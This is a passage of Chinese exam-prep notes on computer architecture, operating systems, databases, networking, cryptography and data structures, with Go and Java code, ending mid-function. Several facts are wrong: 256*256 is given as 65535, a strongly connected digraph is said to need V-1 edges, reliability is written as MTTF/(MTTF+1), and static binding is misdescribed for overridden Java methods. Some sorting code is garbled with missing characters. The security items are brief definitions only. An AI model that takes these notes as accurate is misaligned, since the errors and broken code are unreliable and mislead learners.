+24.某指令流水线由5段组成,第1、3、5段所需时间为Δt,第2、4段所需时间分别为3Δt、2Δt,如下图所示,那么连续输入n条指令时的吞吐率(单位时间内执行的指令个数)TP为() +``` +TP=指令总数÷执行这些指令所需要的总时间。执行这些指令所需要的总时间=(Δt+3Δt+Δt+2Δt+Δt)+3(n-1)Δt +``` + +25.漏洞扫描系统 +自动化检测计算机系统、应用程序或网络中的漏洞的软件工具。这些漏洞可以用来攻击计算机系统,从而破坏、盗取或损害数据和系统。漏洞扫描器使用各种技术来识别和利用常见的安全漏洞,例如密码弱点、SQL注入、跨站点脚本等。 + +26.反编译 反汇编 交叉编译 +编译是将高级语言源程序翻译成机器语言程序(汇编形式或机器代码形式),反编译是编译的逆过程。反编译通常不能把可执行文件还原成高级语言源代码,只能转换成功能上等价的汇编程序。 + +反汇编 (Disassembly):是将机器语言指令转换为汇编语言指令的过程。反汇编的主要目的是获取已编译程序的汇编代码,以便分析和理解程序的操作方式。 + +交叉编译 (Cross Compilation):是指在一台计算机上进行的编译过程,生成运行在不同体系结构计算机或者操作系统上的二进制文件。例如,在 Windows 上编译 Linux 可执行文件就属于交叉编译。 + +27.电梯调度 +``` +https://blog.csdn.net/m0_58153897/article/details/127610506 +``` + +28.设系统中有 R 类资源 m 个,现有 n 个进程互斥使用。若每个进程对 R 资源的最大需求 为 w发生死锁的情况。 + +``` +轮流给每个进程分配资源,如果存在资源被分配完,但是没有一个进程被满足,那么发生死锁。 +``` + +29.`某文件系统采用索引节点管理,其磁盘索引块和磁盘数据块大小均为1KB字节且每个文件索引节点有8个地址项iaddr[0]~iaddr[7],每个地址项大小为4字节,其中iaddr[0]~iaddr[4]采用直接地址索引,iaddr[5]和iaddr[6]采用一级间接地址索引,iaddr[7] 采用二级间接地址索引。若用户要访问文件userA中逻辑块号为4和5的信息,则系统应分别采用( ), 该文件系统可表示的单个文件最大长度是( )KB。` + +``` +0-4为直接索引,逻辑块0-4 +1KB/4B= 1024B/4B=256 +5 可以指256个索引块 +6 可以指256个索引块 +7 可以指256*256=65535个 +4+256*2+65535=66053 +``` + +30.RUP:初始——细化——构建——移交 +RUP将软件开发过程划分为4个阶段:初始阶段、细化阶段、构建阶段和移交阶段。每个阶段都包括多个迭代循环,在每个迭代中,都要完成一定的工作、得出一定的成果,同时进行评审和审核,以确保项目进展按计划顺利进行。RUP还提供了许多最佳实践,如用例驱动开发、迭代和增量开发、模型驱动架构等,可帮助开发团队更好地实现需求收集、分析、设计、测试和部署等工作。 + + +31.软件复审 + +开发阶段——保证可维护 +系统分析阶段的复审过程——指出软件的可移植性以及影响维护的系统界面。 +系统分析阶段的复审期间——从容易修改,模块化,功能独立出发,评价软件结构和过程。 +系统实施的复审——强调编码风格和内部说明文档。 + +32.依赖关系/组合关系/聚合关系 +依赖关系: +若类 A 仅在其方法 Method1 中定义并使用了类 B 的一个对象,类 A 其他部分的代码都不涉及类 B,那么类 A 与类 B 的关系是依赖关系。因为类 A 只在其中的一个方法中使用到了类 B,而且没有持有或者继承类 B,所以这种关系可以称为依赖关系。 +```java +public class Adder { + public int add(int a, int b) { + return Math.addExact(a, b); + } +} +``` +聚合关系 +假设我们要设计一个学校管理系统,其中有一个班级(Class)类和一个学生(Student)类,一个班级中包含多个学生,同时一个学生也只能归属于一个班级。那么 Class 类可能被设计为包含一个 Student 类型的数组属性,代码如下: +```java +public class Class { + private Student[] students; + + public Class(Student[] students) { + this.students = students; + } + + public Student[] getStudents() { + return students; + } +} +``` + +组合关系 +假设我们要设计一个图书馆系统,其中有一个 Book 类和一个 Library 类。该系统需要保证只有当还完所有借书记录之后,才能将一本书从库存中移除。因此,一个 Library 实例可能会持有多个 Book 类的实例,并且当这个 Library 实例被销毁时,其所有的 Book 实例也应该随之被销毁。代码如下: + +```java +public class Library { + private List books; + + public Library(List books) { + this.books = books; + } + + // 其他方法省略... + + @Override + protected void finalize() throws Throwable { + for (Book book : books) { + book.finalize(); + } + super.finalize(); + } +} + +public class Book { + // 其他属性、方法等省略... + + @Override + protected void finalize() { + System.out.println("Book instance is going to be destroyed."); + } +} + +``` + +33.1NF/2NF/3NF/BCNF +1NF:第一范式,保证每个属性具有原子性,也就是确保每个属性不能再分成更小的部分。如果出现复合属性,则需要将其拆分成独立的属性。同时,每个属性的值都是单一的,不能包含多个值。 + +2NF:第二范式,要求实体的非主属性必须完全依赖于主键。也就是说,任何一个非主属性不能依赖于主键的一部分,而应该依赖于整个主键。 + +3NF:第三范式,要求在2NF基础上,除了主键之外的其他属性之间不能存在传递依赖关系。也就是说,如果 A → B,B → C,那么就要把 B 从表中剥离出来,形成两张表。 + +BCNF:巴斯-科德范式,是指消除所有属性对于候选键的部分和传递函数依赖关系。通俗的解释是,表中的每个属性都依赖于整个候选键,而不是依赖于候选键的一部分。 + + + + +34.自然连接 + +自然连接(Natural Join)是一种基于两张或多张表之间相同列名的连接方式,它会将这些相同列名的列作为连接条件进行匹配,并返回所有满足条件的行。 + +自然连接不需要指定连接条件,因为它会自动根据列名相同的列进行连接。例如,假设有两张表A和B,它们都包含一个叫做“id”的列,那么使用自然连接对这两张表进行连接操作时,会自动将A表中的"id"列与B表中的"id"列进行匹配,返回所有匹配成功的记录。 + +自然连接的语法格式如下: +``` +SELECT * +FROM table1 +NATURAL JOIN table2; +``` + +35.强连通的有向图 +一个强连通的有向图中,每个顶点都能到达所有其他顶点,也就是说,对于每一对顶点 (i,j),都存在从顶点 i 到顶点 j 的路径以及一条从顶点 j 到顶点 i 的路径。因此,如果每个顶点只有出度而没有入度,或者每个顶点只有入度而没有出度,那么该有向图的边数最小,即 E=V-1。反之,当每个顶点既有出度也有入度时,该有向图的边数可以大于 2V。 + +36.AOV/AOE +AOV网以顶点表示活动,前驱活动优于后继活动完成。AOV网(Activity On Vertex NetWork)用顶点表示活动,边表示活动(顶点)发生的先后关系。**拓扑排序** +AOE网以边表示活动,通常用来估算工程的完成时间。 + +```go + result := []int{} + for len(queue) > 0 { + node := queue[0] + queue = queue[1:] + // 加入结果集 + result = append(result, node) + // 不断的从终端节点出发判断能不能达到某个顶点 + for _, v := range reverseGraph[node] { + inDegrees[v]-- + // 将入度为0的节点入队 + if inDegrees[v] == 0 { + queue = append(queue, v) + } + } + } +``` +37.栈模拟队列 + +要用两个栈来模拟队列,可以分别定义一个输入栈和一个输出栈。在入队操作时,将元素放入输入栈中;在出队操作时,首先检查输出栈是否为空,如果不为空,则直接从输出栈中弹出一个元素;如果输出栈为空,则将输入栈中的所有元素依次弹出并压入输出栈中,再从输出栈中弹出一个元素。这样就能保证队列的先进先出特性、 + +38.完全二叉树 +直观地来讲,完全二叉树可以看作是将二叉树的节点按照从上到下、从左到右的顺序排列后得到的结果。其中,除了最后一层之外,其他所有层都填满了节点,最后一层的节点都靠左排列。 + +39.XML +XML文件的第一行必须是声明该文件是XML文件,以及它所使用的XML规范版本。在文件的前面不能够有其他元素或者注释。所有的XML文档必须由一个根元素。xML文档中第一个元素就是根元素。所有XML文档必须包含一个单独的标记来定义,所有其他元素都必须成对地在根元素中嵌套。XML文档有且只能有一个根元素,所有的元素都可以有子元素,子元素必须正确地嵌套在父元素中,在XML中规定,所有标识必须成对出现,有一个开始标识,就必须有一个结束标识,否则将被视为错误。 + +40.CISC/RISC + +CISC代表复杂指令集计算机,RISC代表精简指令集计算机。 + +CISC处理器拥有大量的复杂指令,能够在一条指令中执行多个低级操作。这使得CISC处理器能够用更少的指令执行复杂操作,但同时也使得硬件设计更加复杂。 + +相比之下,RISC处理器只有较小的、更简单的指令集合,每条指令只执行一个操作。这意味着执行复杂操作需要更多的指令,但硬件设计更为简单,处理器可以更快地执行指令。 + +这两种体系结构都有各自的优缺点,选择哪种取决于项目的具体需求。CISC处理器通常用于需要快速执行复杂指令的应用程序,而RISC处理器通常用于需要快速执行简单指令或者对功耗有要求的应用程序。RISC采用硬布线控制逻辑结构。 + +``` +对比: +CISC RISC +可变指令长度 固定指令长度 +多周期执行 单周期执行 + +``` + +41.浮点数 +浮点数的一般表示形式为N = 2E × F,其中 E 为阶码,F 为尾数。业标准 IEEE754 浮点数格式中阶码采用移码、尾数采用原码表示。规格化表示要求将尾数的绝对值限定在区间`[0.5, 1)` + +为了提高运算的精度,需要充分地利用尾数的有效数位,通常采取浮点数规格化形式,即规定尾数的最高位数必须是一个有效值,即1/2≤/F1<1,在尾数用补码表示时, +规格化浮点数应满足尾数最高数位与符号位不同,即当1/2≤F +<1时,应有0.1xX…x形式;当-1≤M<1/2时,应有1.0xX.…x形式。 +需要注意的是,当M=1/2时,对于原码来说是规格化数,而对于补码来说不是规格化数。 +两个浮点数进行相加运算时,首先需要对阶(使它们的阶码一致),然后再进行尾数的相加处理。 + +42.海明码是一种可以纠正一位差错的编码。它是利用信息位为k位,增加r位元余位,构成一个n=k+r位的码字,然后用个个监督关系式产生的r个校正因子来区分无错和在码字中的n个不同位置的一位错。海明码是利用**奇偶性来检错和纠错**的校验方法。海明码的构成方法是:在数据位之间插入k个校验位,通过扩大码距来实现检错和纠错。 + +43.CRC +循环冗余校验码(CRC码,CRC=Cyclic Redundancy Check):是数据通信领域中最常用的一种差错校验码,其特征是信息字段和校验字段的长度可以任意选定。 +生成CRC码的基本原理: +``` +信息位: 1100 1010 101 生成多项式:X^4+ X^3+X+1, +1100 1010 101+5个0 = 1100 1010 101 00000 +X^4+ X^3+X+1=11011 +1100 1010 101 00000与 11011异或运算 +11001 010 101 00000 +11011 + 10 010 + 11 011 + 1 001 1 + 1 101 1 + 100 00 + 110 11 + 10 111 + 11 011 + 1 100 0 + 1 101 1 + 1 1000 + 1 1011 + 0 0011 + +``` + +44.Cache +主要由两部分组成: +- 控制部分和Cache存储部分。 +- Cache存储部分用来存放主存的部分拷贝(备份)。控制部分的功能是判断CPU要访问的信息是否在Cache存储器中,若在即为命中;若不在则没有命中。命中时直接对Cache存储器寻址。未命中时,若是读取操作,则从主存中读取数据,并按照确定的替换原则把该数据写入Cache存储器中;若是写入操作,则将数据写入主存即可。 + +45.CA +数字证书是由权威机构—CA证书授权(Certificate Authority)中心发行的,能提供在lnternet上进行身份验证的一种杈威性电子文档,人们可以在互联网交往中用它来证明自己的身份和识别对方的身份。数宇证书采用公钥体制,即利用一对互相匹配的密钥进行加密、解密。每个用户自己设定一把特定的仅为本人所有的私有密钥(私钥),用它进行解密和签名;同时设定一把公共密钥(公钥)并由本人公开,为一组用户所共享,用于加密和验证签名。当发送一份保密文件时,**发送方使用接收方的公钥对数据加密**,而接收方则使用自己的私钥解密,这样信息就可以安全无误地到达目的地了。通过数字的手段保证加密过程是一个不可逆过程,即只有用私有密钥才能解密。公开密钥技术解決了密钥发布的管理问题,用户可以公开其公开密钥,而保留其私有密钥。 + +46.位图/矢量图 +矢量图形是用一系列**计算机指令**来描述和记录一幅图的内容,即通过指令描述构成一幅图的所有直线、曲线、圆、圆弧、矩形等图元的位置、堆数和形状,也可以用更为复杂的形式表示图形图像,在处理图形图像时根据图元对应的数学表达式进行编辑和处理。在屏幕上显示一幅图形图像时,首先要解释这些指令,然后将描述图形图像的指令转化成屏幕上显示的形状和颜色。编辑矢量图的软件通称称为绘图软件,如适于绘制机械图、电路图的Auto CAD软件等。这种软件可以产生和操作矢量图的各个成分,并对矢量图形进行移动、缩放、叠加、旋转和扭曲等变化。编辑图像时将指令转变成屏幕上所显示的形状和颜色,显示时也往往能看到绘图的过程。由于所有的矢量图形部分都可以用数学的方法加以描述,从而使得计算机可以对其进行任意放大、缩小、旋转、变形、扭曲、移动和叠加等变换,而不会破坏图像的画面,但是,用矢量图形格式表示复杂图像(如人物、风景照片),并且要求很高时,将需要花费大量的时间进行变换、着色和处理光照效果等。因此,矢量图形主要用于标识线框型的图画、工程制图和美术字等。 +位图图像是指用**像素点来描述的图**,图像一般是用摄像机或扫描仪等输入设备捕捉实际场景画面,离散化为空间、亮度、颜色(交度)的序列值,即把一幅彩色图或灰度图分为许许多多的像素(点),每个像素用若干二进制位来指定该像素的颜色、亮度和属性。为因图像在计算机内存中由一组二进制位组成,这些位定义图像中每个像素点的颜色和亮度,图像适合于 表现比较细腻,层次较多,色彩较丰富,包含大量细节的图像,并可直接、快速地在屏幕上显示出来,但占用存储空间较大,一般需要进行数据压缩。 + +47.面向对象分析与设计 + +OMT (Object Modeling Technique)、Coad-Yourdon Method 和 Booch Method 都是面向对象分析与设计(OOAD)方法。 + +OMT 是由 James Rumbaugh 等人提出的一种面向对象分析和设计方法,主要提供了对象建模、动态建模和功能建模等方面的技术。OMT 的核心概念包括类、对象、继承、聚合、关联、操作、消息等。常用的建模符号包括类图、对象图、状态图、活动图等。 + +Coad-Yourdon Method 最初是由 Coad 和 Yourdon 提出的结构化分析与设计方法改进而来。它在传统的结构化分析和设计方法的基础上,引入了面向对象的概念和技术,具有良好的可视化效果和易学习的特点。 +Coad-Yourdon 方法主要包括三个阶段:领域建模、系统建模和对象建模。其中,领域建模定义了系统所涉及的领域和相关概念;系统建模定义了系统的结构和功能;对象建模则定义了系统中的对象、类和关系。 + +Booch Method 是 Grady Booch 提出的一种面向对象软件开发方法,提供了用于对象建模、动态建模和物理建模等方面的技术。 +Booch Method 强调了面向对象分析、设计和实现中的可重用性和模块化,并提供了符号和图形语言来描述对象、类、继承、多态性、消息等,同时也提供了用于系统实现和测试的指南和工具 + +48.中间代码 + +“中间代码”是一种简单且含义明确的记号系统,与具体的机器无关,可以有若千种形式。可以将**不同的高级程序语言翻译或同一种中问代码**,由于与具体机器无关,使用中问代码有利于进行与机器无关的优化处理,以及提高编译程序的**可移植性** + +49.软件设计原则 +模块大小适中。减少调用,**多扇入**。少扇出。**单出口**。 + +50.面向对象技术 + +面向对象**分析**阶段:认定对象,组织对象,对象问的相互作用,基于对象的操作。 +面向对象**设计**阶段:识别类及对象、定义属性、定义服务、识别关系、识别包。 +面向对象程序设计:程序设计范型、选择一种OOPL。 +面向对象测试:算法层、类层、模板层、系统层。 + +51.面向对象设计 + +接口分离原则:使用多个专门的接口要比使用单一的总接口要好。 + +开放-封闭原则:对扩展开放,对修改关闭。 + +共同封闭原则:包中的所有类对于同一性质的变化应该是共同封闭的。一个变化若对一个包产生影响,则将对该包里的所有类产生影响,而对于其他的包不造成任何影响。 + +共同重用原则:一个包里的所有类应该是共同重用的。如果重用了包里的一个类,那么就要重用包中的所有类。 + +52.归并排序 +```go +package main + +import "fmt" + +func mergeSort(arr []int) []int { + if len(arr) < 2 { + return arr + } + mid := len(arr) / 2 + return merge(mergeSort(arr[:mid]), mergeSort(arr[mid:])) +} + +func merge(left, right []int) []int { + size, i, j := len(left)+len(right), 0, 0 + slice := make([]int, size, size) + for k := 0; k < size; k++ { + if i > len(left)-1 && j <= len(right)-1 { + slice[k] = right[j] + j++ + } else if j > len(right)-1 && i <= len(left)-1 { + slice[k] = left[i] + i++ + } else if left[i] < right[j] { + slice[k] = left[i] + i++ + } else { + slice[k] = right[j] + j++ + } + } + return slice +} + +func main() { + arr := []int{9, 4, 5, 6, 10, 3, 8, 2, 7, 1} + fmt.Println("Unsorted array:", arr) + fmt.Println("Sorted array: ", mergeSort(arr)) +} +``` +归并排序最好:NlogN +归并排序最坏:NlogN + +53.Huffman 编码 +基本思想:使用更短的二进制码来代表出现频率较高的字符,而使用更长的二进制码来代表出现频率较低的字符。 + +统计出每个字符在文本中出现的频率,并根据频率构建最小堆(即次数最少的元素在前面)。 + +54.ARP协议/RARP + +ARP,即地址解析协议(Address Resolution Protocol),是一种用于将网络层地址(如 IP 地址)解析为链路层地址(如 MAC 地址)的协议。 + +在一个 IP 网络中,当主机 A 的网络层需要发送数据到另一个主机 B 时,它需要知道目标主机 B 的 MAC 地址以便构建出帧来正确地把数据包发往目标。由于 ARP 协议可以查询目标主机的 MAC 地址,所以在发送数据前通常会先向局域网内广播一个 ARP 请求,该请求同时包含源主机的 IP 和 MAC 地址以及目标主机的 IP 地址。其他主机收到该请求后会检查自己的 IP 地址是否与请求中的目标地址匹配,如果匹配则会返回自己的 MAC 地址给请求方;否则就忽略该请求。 + +当请求方接收到 ARP 响应时,它将把返回的 MAC 地址缓存起来,以后再向该目标主机发送数据时就可以直接使用该 MAC 地址,无需再进行 ARP 查询。缓存的 ARP 条目有一个存活时间,过期后需要重新查询。 + +RARP 协议则是将一个 MAC 地址解析为相应的 IP 地址。在某些局域网环境下,由于没有 DHCP 服务器或者其他原因,某些主机可能无法获得自己的 IP 地址。这时候,RARP 就可以帮助它们了。主机会广播一个 RARP 请求消息,请求其它主机帮助它获取自己的 IP 地址。收到请求的主机会根据 MAC 地址查找相应的 IP 地址,并将其返回给请求主机。 + +55.路由协议 + +> 是指在计算机网络中,用于维护路由表和决策数据包传输路径的一组规则与协议。 +> 静态路由协议:由网络管理员手动配置路由器上的路由表,适用于小型网络或者稳定的网络环境,因为对网络拓扑结构的变化会造成管理上的困难。 +> RIP(Routing Information Protocol):是一种基于距离向量的路由协议。RIP 协议通过交换整个路由表或部分路由表来实现路由信息的传播,同时每隔一段时间会向邻居发送路由通告,并请求邻居发送其相邻路由表,最后选取最优路径作为路由信息。 +> BGP(Border Gateway Protocol):是一种路由协议,主要运用在互联网中的边缘路由器之间,用来交换路由信息,以便于实现路由的选择和控制。BGP 采用了基于路径、自治系统号等多种因素的决策过程,是一种高级的路由协议。 +> OSPF(Open Shortest Path First):是一种链路状态路由协议。OSPF 通过不断地广播链路状态信息来更新本地的链路状态数据库,使用 Dijkstra 算法计算得出全网中各节点之间的最短路径,并维护路由表。 + +工作原理: + +路由协议通过在路由器之间共享路由信息来支持可路由协议,路由信息在相邻路由器之间传递,路由协议创建了路由表,描述了网络的拓扑结构。 + +56.对称加密/非对称加密 + +非对称加密:RSA/ECC/DSA +对称加密:DES 3DES AES + +消息摘要算法:SHA/MD5 + +57.SQL注入 + +把SQL语句加入,获取到数据库的访问权限。 + +58.四层网络模型 + +链路层:PP2P链路层,为链路加密 +网络层:IPSec工作在网络层,为数据报文加密 +传输层:Https SSL为传输层以上的数据加密 +应用层:TLS为两个通信应用程序之间提供保密性和数据完整性 + +59.软件详细设计阶段 + +每个模块进行详细的算法分析,代码设计,输入,输出设计,用户界面设计。 + +60.软件的概要设计阶段 +软件体系结构设计,系统划分模块,确定每个模块的功能,确定每个模块的调用关系,确定模块间的接口。模块间传递的信息。 + +61.软件可靠性/可维护性/可用性 + + +MTBF:Mean Time Between Failure,平均失效间隔 + +```text +假设您有一台运行 24 小时的印刷机。在那段时间里,它失败了两次,每次都需要一个小时才能恢复运行。 + +因此,它总共运行了 22 小时(24 小时减去维修所需的两个小时)。二十二除以二,失败的总数等于 11 + +``` + +MTTF:Mean Time To Failure,平均无失效时间 + +```text +我们可能有四个烧坏的灯泡,它们分别运行了 20、22、26 和 18 小时。我们将这些数字相加得到 86。 + +当我们将其除以灯泡数量(即四个)时,我们得到 MTTF 为 21.5 小时。 +``` + +> MTTF是用来衡量“不可修复”的元器件(系统、资产等都可以)的“寿命”(可靠性),统计方法就是收集大量的元器件的寿命然后取平均值。MTTF不是MTBF的一部分,两者的应用场景是不同的 + +> 不可修复故障”的元器件,可靠性衡量指标就是MTTF +> 对于“可修复故障”,衡量可靠性指标就是MTBF + +MTTR:Mean Time To Repair,平均恢复时间 +软件可靠性 + +``` +MTTF/(MTTF+1) + +``` +可维护性 +``` +MTTR/(MTTR+1) +``` +可用性 +``` +MTBF/(1+MTBF) +``` + + + +63.维护类型 + +改正性维护:修复错误。 +适应性维护:因为外部环境的改变,修改软件 +完善性维护:新的功能,新的要求。 +预防性维护:预先修改,满足未来。 + + + +64.面向对象分析 +识别对象-组织对象-描述对象间的关系-确定对象的操作-定义对象的内部信息。 + + +65.稀疏矩阵的十字链表压缩 + +在节点中除了存储元素值外,还会存储该元素在行列方向上的前驱节点和后继节点。具体来说,每个节点包含以下字段: +``` +row:该元素所在的行号。 +col:该元素所在的列号。 +value:该元素的值。 +down:下一个在该元素同一列的节点。 +right:下一个在该元素同一行的节点。 +rhead:该元素所在行的头节点。 +chead:该元素所在列的头节点。 +``` + +66.稀疏矩阵的三元顺序表压缩 + +稀疏矩阵的三元组表是一种常用的压缩存储方式,可以用于节省稀疏矩阵所需的存储空间。它将矩阵中非零元素的行列坐标和数值存储在一个三元组中,通常采用如下格式表示: + +``` +(i, j, v) +``` + +67.排序算法 + +```go +func InsertSort(arr []int){ + for i:=1;iarr[j]{ + arr[j-1],arr[i] = arr[i],arr[j-1] + } + } + } +} + +``` + +```go +func BubbleSort(arr []int){ + for i:=0;i= 0; i-- { + adjustHeap(arr, i, n) + } + + // 取出堆顶元素,与末尾元素交换位置 + for i := n - 1; i > 0; i-- { + arr[0], arr[i] = arr[i], arr[0] + adjustHeap(arr, 0, i) + } +} + +// 调整大根堆 +func adjustHeap(arr []int, start, end int) { + temp := arr[start] + for k := start*2 + 1; k < end; k = k*2 + 1 { + if k+1 < end && arr[k+1] > arr[k] { + k++ + } + if arr[k] > temp { + arr[start] = arr[k] + start = k + } else { + break + } + } + arr[start] = temp +} + +// 快速排序 +func quickSort(arr []int, left, right int) { + if left < right { + pivotIndex := partition(arr, left, right) + quickSort(arr, left, pivotIndex-1) + quickSort(arr, pivotIndex+1, right) + } +} + +// 分区操作 +func partition(arr []int, left, right int) int { + pivot := arr[left] + for left < right { + for left < right && arr[right] >= pivot { + right-- + } + arr[left] = arr[right] + for left < right && arr[left] <= pivot { + left++ + } + arr[right] = arr[left] + } + arr[left] = pivot + return left +} + +// 归并排序 +func mergeSort(arr []int) []int { + length := len(arr) + if length <= 1 { + return arr + } + + mid := length / 2 + left := mergeSort(arr[:mid]) + right := mergeSort(arr[mid:]) + + return merge(left, right) +} + +// 合并两个有序数组 +func merge(left []int, right []int) []int { + result := make([]int, 0) + + for len(left) > 0 && len(right) > 0 { + if left[0] < right[0] { + result = append(result, left[0]) + left = left[1:] + } else { + result = append(result, right[0]) + right = right[1:] + } + } + + result = append(result, left...) + result = append(result, right...) + + return result +} + +``` + + +77.FTP SFTP TFTP ICMP + +FTP:文件传输协议(File Transfer Protocol),它是为在网络上进行文件传输而开发的一种标准协议。 +SFTP:安全文件传输协议(Secure File Transfer Protocol),是基于SSH协议之上的一种加密传输文件的协议。SFTP是一种与FTP不同的完全独立的协议。 +TFTP:简单文件传输协议(Trivial File Transfer Protocol),TFTP是一个小巧、简单易用的文件传输协议,主要用于无需认证和登录的场景,如在内网中分发软件镜像。 +ICMP:Internet控制消息协议(Internet Control Message Protocol),是TCP/IP协议族的一个子协议,它用于在IP网络上发送控制信息。ICMP通常用于网络设备间交换状态信息,比如路由器、交换机等设备所发生的故障以及转发表更改等情况。 + +78.四层网络模型各层的协议 + +应用层:HTTP、FTP、SMTP、DNS + +HTTP(HyperText Transfer Protocol):万维网上块数据的传输协议,用于浏览器与Web服务器之间的通信。 +FTP(File Transfer Protocol):用于在网络上进行文件传输的协议。 +SMTP(Simple Mail Transfer Protocol):用于电子邮件的发送和接收协议。 +DNS(Domain Name System):将域名转换为 IP 地址的系统。 + +传输层:TCP、UDP +TCP(Transmission Control Protocol):提供端到端的可靠数据传输服务和协议,包括流量控制和错误纠正等机制。 +UDP(User Datagram Protocol):简单的无连接的传输协议,不保证可靠性,但具有较低的延迟和更好地支持广播和多播。 + +网络层:IP、ICMP、ARP: +IP(Internet Protocol):负责实现数据包的传输和路由选择。 +ICMP(Internet Control Message Protocol):用于在网络中传递控制消息,例如ping命令使用的“回显请求”和“回显应答”就是基于ICMP的。 + +ARP(Address Resolution Protocol):将IP地址转换成MAC地址的协议。 +数据链路层:Ethernet、PPP +Ethernet(以太网):最常见的有线局域网络传输协议。 +PPP(Point-to-Point Protocol):用于在两个计算机之间进行点对点的数据通信。 + + +79.DDOS +DDoS攻击(Distributed Denial-of-Service Attacks)是指攻击者通过利用网络上的大量计算机或网络设备,向目标服务器或网络资源发起大量伪造的请求,以使得正常用户无法访问服务器或网络资源。攻击者会使用包括僵尸网络、木马程序等手段将自己控制的设备进行扫描、感染,并发起DDoS攻击。这种攻击方式具有流量大、占用带宽多、难以防御等特点,严重影响了网站的可用性和稳定性。 + +80.ACL/SNAT + +ACL是Access Control List(访问控制列表)的缩写,它是一种用于网络安全的技术手段。通过在设备上设置ACL规则,可以限制网络数据包在网络中的流动,防止恶意攻击、保障网络安全等。 + +而SNAT是Source Network Address Translation(源网络地址转换)的缩写,是一种网络地址转换技术。在一个网络中,当**多个主机需要共享同一个公网IP地址时,就需要使用SNAT技术。** + + +81.动态绑定和静态绑定 + +动态绑定和静态绑定是面向对象编程中的两个重要概念,它们描述的是代码执行时方法调用的解析过程。 + +静态绑定(Static Binding)也称为早期绑定,指在程序编译期间就确定了调用哪个方法。例如,如果一个父类有一个名为foo()的方法,它会被子类继承,但是如果在子类中重写了这个方法并且通过父类型引用调用该方法,则会调用从父类继承的原始实现。这是因为编译器在编译时已经将调用绑定到了父类上,因此无论运行时该引用引用的是父类还是子类,都只会调用父类的foo()方法。 + +相反,动态绑定(Dynamic Binding)也称为晚期绑定,是在程序运行时根据实际类型来确定调用哪个方法。当使用一个子类对象调用其父类的方法时,该方法的调用将在运行时解析为该子类的方法。这是因为编译器无法提前确定该引用的真实类型,因此必须等到运行时才能确定。 + +82.SMTP/POP3/IMAP +SMTP:邮件传送协议 +POP3:邮件收取协议 +IMAP:交互邮件访问协议 + +83.移码 + +不管是正数的补码还是负数的补码,符号位取反就可以。 + +0 000 0000 反码:0 000 0000 补码:0 000 0000 移码:1 000 0000 +1 000 0000 反码:1 111 1111 补码:0 000 0000 移码:1 000 0000 + +如果产生了进位,那么符号位可能改变 +比如-0 的反码:1 111 1111 补码:0 000 0000 移码: 1 000 0000 + + +奇偶校验 (Parity Codes)是一种简单有效的校验方法。这种方法通过在编码中增加一位 校 验 位 来 使 编 码 中 1 的 个 数 为 奇 数 (奇 校 验 ) 或 者 为 偶 数 (偶 校 验 ) , 从 而 使 码 距 变 为 2 。 对 +于奇校验,它可以检测代码中奇数位出错的编码, 但不能发现偶数位出错的况 + + + +84.直接映射 + +Cache 被分成了N行,主存被分成M个区 ,每个区是N行。 + +那么主存地址格式: + +``` +区号 + 块号 + 块内地址字号 + M N +``` +有一处理机,主存容量1MB,字长1B,块大小16B;Cache容量4KB,若cache采用直接映射,请给出2个不同标记的内存地址,它们映射到同一个cache行。 + +``` +区号:1MB/4KB=2^8 +块号:4KB/16B=2^8 +块内地址字号:16B/1B=2^4 +``` + +``` +人话翻译版: +主存储的大小是多少个Cache?:1MB/4KB=2^8 +Cache的大小是多少个块?:4KB/16B=2^8 +块大小是多少个字节?:16B/1B=2^4 +``` +块号相同的块无法同时调入Cache + +85.全相联映射 + +若数据在主存和Cache之间按块传送单位为512字节。Cache大小为8KB,主存容量为1MB ,求其主存的地址格式。 + +``` +主存的大小是多少个块?1MB/512B=1MB/(0.5KB)=1024KB*2=2的11次方 +块大小是多少个字节?521B=2的9次方 +``` +主存调入不受限制,无法从主存块号直接获取Cache块号 +86.组相联映射 + +某计算机按字节寻址,主存有2K个块,每块32个字节。 Cache由64个块组成,每组8块(8路组相联)。请表示主存地址格式。给内存地址为A21FH和C028H两个地址对应的标记、组号和字号。 + +``` +主存的大小是多少个组?2KB/8=2的8次方 +Cache的大小是多少个组?64/8=2的3次方 +块是多少个字节:2的5次方 +8 3 5 +``` +主存任何区的0组只能存到Cache 的0组 + +87.数字签名和数字加密的区别 + +数字签名:接收方用发送方的公钥解密码,发送方用自己的私钥加密。采用了非对称加密。 + +数字加密:接收方用自己的私钥解密,发送方用接收方的公钥加密。非对称加密+对称加密。 + + +88.KMP算法 + +串的第一位和第二位字符对应的next值分别为固定值0、1 + +串的其他位对应的next值为该字符之前的字符串的公共最长匹配前缀和后缀的长度加1 + +89.最小生成树 +Kruskal: +找到连接所有顶点且边的总权值的最小子图。 + +```go +type Edge struct{ + from int + to int + weight int +} + +func kruskal (n int,edges []Edge) []Edge{ + //边要按照从小到大排序 + sort.Slice(edges ,func (i int,j int)bool{ + return edges[i].weight < edges[j].weight + }) + // 初始化并集 + // unionSet[son] = father + unionSet:= make(map [int]int,n) + for i:=0;i node.keys[i] { + i++ + } + + if i < len(node.keys) && key == node.keys[i] { + return node + } + + if node.isLeaf { + return nil + } + + return b.search(node.children[i], key) +} + +``` +插入 +```go +func (b *BTree) Insert(key int) { + root := b.root + if len(root.keys) == 2*b.t-1 { + newRoot := &Node{isLeaf: false} + b.root = newRoot + newRoot.children = append(newRoot.children, root) + b.splitChild(newRoot, 0) + b.insertNonFull(newRoot, key) + } else { + b.insertNonFull(root, key) + } +} + +func (b *BTree) splitChild(parent *Node, index int) { + node := parent.children[index] + newNode := &Node{isLeaf: node.isLeaf} + + mid := b.t - 1 + newNode.keys = append(newNode.keys, node.keys[mid+1:]...) + node.keys = node.keys[:mid] + + if !node.isLeaf { + newNode.children = append(newNode.children, node.children[mid+1:]...) + node.children = node.children[:mid+1] + } + + parent.keys = append(parent.keys[:index], append([]int{node.keys[mid]}, parent.keys[index:]...)...) + parent.children = append(parent.children[:index+1], append([]*Node{newNode}, parent.children[index+1:]...)...) +} + +func (b *BTree) insertNonFull(node *Node, key int) { + i := len(node.keys) - 1 + if node.isLeaf { + for i >= 0 && key < node.keys[i] { + i-- + } + node.keys = append(node.keys[:i+1], append([]int{key}, node.keys[i+1:]...)...) + } else { + for i >= 0 && key < node.keys[i] { + i-- + } + i++ + if len(node.children[i].keys) == 2*b.t-1 { + b.splitChild(node, i) + if key > node.keys[i] { + i++ + } + } + b.insertNonFull(node.children[i], key) + } +} +``` +删除操作涉及较多的边界条件和情况处理,这里仅提供一个简化版的删除操作: +```go +func (b *BTree) Delete(key int) { + b.delete(b.root, key) +} + +func (b *BTree) delete(node *Node, key int) { + // 